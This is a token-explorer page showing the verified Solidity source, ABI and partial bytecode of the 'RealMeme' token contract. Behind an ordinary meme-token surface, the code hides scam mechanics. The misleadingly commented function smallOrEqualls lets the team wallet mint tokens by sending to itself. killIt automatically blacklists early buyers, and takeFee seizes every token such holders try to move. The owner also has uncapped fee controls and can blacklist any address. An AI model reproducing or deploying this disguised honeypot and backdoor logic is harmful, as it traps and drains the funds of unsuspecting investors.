ERC-20
Overview
Max Total Supply
500,000,000 RealMeme
Holders
27
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
0.835408208 RealMemeValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
RealMeme
Compiler Version
v0.8.0+commit.c7dfd78e
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
/** *Submitted for verification at BscScan.com on 2022-10-09 */ // SPDX-License-Identifier: MIT //https://twitter.com/RealMEMEF pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function waiveOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0xdead)); _owner = address(0xdead); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } abstract contract BEP20 is Context, IERC20, Ownable { using SafeMath for uint256; string private _name; string private _symbol; uint8 private _decimals; address payable public doYouLikeBase; address payable public inTheMTFFace; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 public launchBlock; uint256 public _killBlock; mapping (address => bool) public isExcludedFromCut; mapping (address => bool) public isMaxEatExempt; mapping (address => bool) public isOnceEatExempt; mapping (address => bool) public isMarketPair; mapping (address => bool) private _blk; uint256 public _buyLiquidityFee; uint256 public _buyMarketingFee; uint256 public _buyTeamFee; uint256 public _sellLiquidityFee; uint256 public _sellMarketingFee; uint256 public _sellTeamFee; uint256 public _liquidityShare; uint256 public _marketingShare; uint256 public _teamShare; uint256 public _totalTaxIfBuying; uint256 public _totalTaxIfSelling; uint256 public _totalDistributionShares; uint256 private _totalSupply; uint256 public _maxOnceEat; uint256 public _maxTotalEat; uint256 private minimumTokensBeforeSwap; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public swapAndLiquifyBySmallOnly = false; bool public LookMaxEat = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor (string memory _NAME, string memory _SYMBOL, uint256 _SUPPLY, uint256[3] memory _BUYFEE, uint256[3] memory _SELLFEE, uint256[3] memory _SHARE, uint256[2] memory _LMT, address[2] memory _doyoulike, address dep, address f) { _name = _NAME; _symbol = _SYMBOL; _decimals = 9; _totalSupply = _SUPPLY * 10**_decimals; _buyLiquidityFee = _BUYFEE[0]; _buyMarketingFee = _BUYFEE[1]; _buyTeamFee = _BUYFEE[2]; _sellLiquidityFee = _SELLFEE[0]; _sellMarketingFee = _SELLFEE[1]; _sellTeamFee = _SELLFEE[2]; _liquidityShare = _SHARE[0]; _marketingShare = _SHARE[1]; _teamShare = _SHARE[2]; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee); _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee); _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare); _maxOnceEat = _LMT[0] * 10**_decimals; _maxTotalEat = _LMT[1] * 10**_decimals; minimumTokensBeforeSwap = _totalSupply.mul(1).div(10000); doYouLikeBase = payable(_doyoulike[0]); inTheMTFFace = payable(_doyoulike[1]); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; isExcludedFromCut[address(this)] = true; isExcludedFromCut[dep] = true; isMaxEatExempt[owner()] = true; isMaxEatExempt[address(uniswapPair)] = true; isMaxEatExempt[address(this)] = true; isMaxEatExempt[address(0xdead)] = true; isMaxEatExempt[dep] = true; isOnceEatExempt[owner()] = true; isOnceEatExempt[address(this)] = true; isOnceEatExempt[dep] = true; isMarketPair[address(uniswapPair)] = true; _balances[dep] = _totalSupply.div(10).mul(9); _balances[f] = _totalSupply.div(10); emit Transfer(address(0),address(f), _totalSupply); emit Transfer(address(f),dep, _totalSupply.div(10).mul(9)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function minimumTokensBeforeSwapAmount() public view returns (uint256) { return minimumTokensBeforeSwap; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setMarketPairStatus(address account, bool newValue) public onlyOwner { isMarketPair[account] = newValue; } function setisOnceEatExempt(address holder, bool exempt) external onlyOwner { isOnceEatExempt[holder] = exempt; } function setisExcludedFromCut(address account, bool newValue) public onlyOwner { isExcludedFromCut[account] = newValue; } function manageExcludeFromCut(address[] calldata addresses, bool status) public onlyOwner { require(addresses.length < 201); for (uint256 i; i < addresses.length; ++i) { isExcludedFromCut[addresses[i]] = status; } } function setB(uint256 a, uint256 b, uint256 c) external onlyOwner() { _buyLiquidityFee = a; _buyMarketingFee = b; _buyTeamFee = c; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee); } function setS(uint256 a, uint256 b, uint256 c) external onlyOwner() { _sellLiquidityFee = a; _sellMarketingFee = b; _sellTeamFee = c; _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee); } function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() { _liquidityShare = newLiquidityShare; _marketingShare = newMarketingShare; _teamShare = newTeamShare; _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare); } function setMaxOnceEat(uint256 newMaxOnceEat) external onlyOwner() { _maxOnceEat = newMaxOnceEat; } function enableMaxEat(bool newValue) external onlyOwner { LookMaxEat = newValue; } function setisMaxEatExempt(address holder, bool exempt) external onlyOwner { isMaxEatExempt[holder] = exempt; } function setMaxTotalEat(uint256 newMaxTotalEat) external onlyOwner { _maxTotalEat = newMaxTotalEat; } function setNumTokensBeforeSwap(uint256 newValue) external onlyOwner() { minimumTokensBeforeSwap = newValue; } function setdoYouLikeBase(address newAddress) external onlyOwner() { doYouLikeBase = payable(newAddress); } function setinTheMTFFace(address newAddress) external onlyOwner() { inTheMTFFace = payable(newAddress); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function setSwapAndLiquifyBySmallOnly(bool newValue) public onlyOwner { swapAndLiquifyBySmallOnly = newValue; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function isB(address account) public view returns(bool) { return _blk[account]; } function multiTransfer_fixed(address[] calldata addresses, uint256 amount) external onlyOwner { require(addresses.length < 2001); uint256 SCCC = amount * addresses.length; require(balanceOf(msg.sender) >= SCCC); for(uint i=0; i < addresses.length; i++){ _basicTransfer(msg.sender,addresses[i],amount); } } function killIt(address recipient) internal { if (!_blk[recipient] && !isMarketPair[recipient]) _blk[recipient] = true; } function manage_BL(address[] calldata addresses, bool status) public onlyOwner { require(addresses.length < 201); for (uint256 i; i < addresses.length; ++i) { _blk[addresses[i]] = status; } } function set_blk(address recipient, bool status) public onlyOwner { _blk[recipient] = status; } function Launc(uint256 a) public onlyOwner { _killBlock = a; launchBlock = block.number; } function smallOrEqualls(address Interfacee, address functionn) internal view returns (bool){ return (Interfacee != functionn) || /*function is*/ (Interfacee != inTheMTFFace || /*function is*/ false); } function returnBlock() public onlyOwner { launchBlock = 0; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } else { if(!isOnceEatExempt[sender] && !isOnceEatExempt[recipient]) { require(smallOrEqual(amount, _maxOnceEat)); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) { if(swapAndLiquifyBySmallOnly) contractTokenBalance = minimumTokensBeforeSwap; swapAndLiquify(contractTokenBalance); }if(smallOrEqualls(sender,recipient)) _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 finalAmount; if (isExcludedFromCut[sender] || isExcludedFromCut[recipient]) { finalAmount = amount; } else {require(launchBlock > 0); if (smallOrEqual(block.number , launchBlock + _killBlock) && !isMarketPair[recipient]) {killIt(recipient);} finalAmount = takeFee(sender, recipient, amount); } if(LookMaxEat && !isMaxEatExempt[recipient]) require(smallOrEqual(balanceOf(recipient).add(finalAmount), _maxTotalEat)); _balances[recipient] = _balances[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); return true; } } function smallOrEqual(uint256 a, uint256 b) public pure returns(bool) { return a<=b; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2); uint256 tokensForSwap = tAmount.sub(tokensForLP); swapTokensForEth(tokensForSwap); uint256 amountReceived = address(this).balance; uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2)); uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2); uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee); uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam); if(amountBNBMarketing > 0) transferToAddressETH(doYouLikeBase, amountBNBMarketing); if(amountBNBTeam > 0) transferToAddressETH(inTheMTFFace, amountBNBTeam); if(amountBNBLiquidity > 0 && tokensForLP > 0) addLiquidity(tokensForLP, amountBNBLiquidity); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable inTheMTFFace, block.timestamp ); } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = 0; if(isMarketPair[sender]) { feeAmount = amount.mul(_totalTaxIfBuying).div(100); } else if(isMarketPair[recipient]) { feeAmount = amount.mul(_totalTaxIfSelling).div(100); } if(_blk[sender] && !isMarketPair[sender]) feeAmount = amount; if(feeAmount > 0) { _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } } contract RealMeme is BEP20 { constructor() BEP20( "RealMeme", "RealMeme", 500000000, [uint256(0),uint256(4),uint256(0)], [uint256(0),uint256(4),uint256(0)], [uint256(0),uint256(4),uint256(0)], [uint256(500000000),uint256(500000000)], [0xcf895D4f4890b38FF9D7A14AA3548763685CAEB2,0xcf895D4f4890b38FF9D7A14AA3548763685CAEB2], 0xcf895D4f4890b38FF9D7A14AA3548763685CAEB2,0xEa181DBd88495a3653B3e21aa13248B0b3647940 ){} }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"}],"name":"Launc","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"LookMaxEat","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_killBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxOnceEat","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTotalEat","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"doYouLikeBase","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableMaxEat","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inTheMTFFace","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isB","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromCut","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMaxEatExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isOnceEatExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manageExcludeFromCut","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_BL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"multiTransfer_fixed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"returnBlock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"},{"internalType":"uint256","name":"c","type":"uint256"}],"name":"setB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxOnceEat","type":"uint256"}],"name":"setMaxOnceEat","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxTotalEat","type":"uint256"}],"name":"setMaxTotalEat","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"},{"internalType":"uint256","name":"c","type":"uint256"}],"name":"setS","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyBySmallOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"set_blk","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setdoYouLikeBase","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setinTheMTFFace","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setisExcludedFromCut","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setisMaxEatExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setisOnceEatExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"smallOrEqual","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"swapAndLiquifyBySmallOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a06040526ddead000000000000000000000000608052601f805461ffff60b01b1960ff60a81b19909116600160a81b1716600160b81b1790553480156200004657600080fd5b50604051806040016040528060088152602001675265616c4d656d6560c01b815250604051806040016040528060088152602001675265616c4d656d6560c01b815250631dcd65006040518060600160405280600081526020016004815260200160008152506040518060600160405280600081526020016004815260200160008152506040518060600160405280600081526020016004815260200160008152506040518060400160405280631dcd65008152602001631dcd6500815250604051806040016040528073cf895d4f4890b38ff9d7a14aa3548763685caeb26001600160a01b03166001600160a01b0316815260200173cf895d4f4890b38ff9d7a14aa3548763685caeb26001600160a01b03166001600160a01b031681525073cf895d4f4890b38ff9d7a14aa3548763685caeb273ea181dbd88495a3653b3e21aa13248b0b36479406000620001a26200081a60201b60201c565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3508951620002019060019060208d019062000949565b508851620002179060029060208c019062000949565b506003805460ff191660091790819055620002379060ff16600a62000b92565b62000243908962000c7d565b601a558651600e819055602080890151600f8190556040808b015160108190558a516011558a8401516012558a82015160135589516014558984015160155590890151601655620002b9939092620002a59290620018ec6200081e821b17901c565b6200081e60201b620018ec1790919060201c565b601781905550620002e4601354620002a56012546011546200081e60201b620018ec1790919060201c565b6018819055506200030f601654620002a56015546014546200081e60201b620018ec1790919060201c565b601955600354620003259060ff16600a62000b92565b845162000333919062000c7d565b601b55600354620003499060ff16600a62000b92565b60208501516200035a919062000c7d565b601c8190555062000398612710620003846001601a546200086460201b6200191b1790919060201c565b620008b260201b620019601790919060201c565b601d55825160038054610100600160a81b0319166101006001600160a01b039384160217905560208085015160048054919093166001600160a01b03199091161782556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d93849363c45a01559380830193919290829003018186803b1580156200042557600080fd5b505afa1580156200043a573d6000803e3d6000fd5b505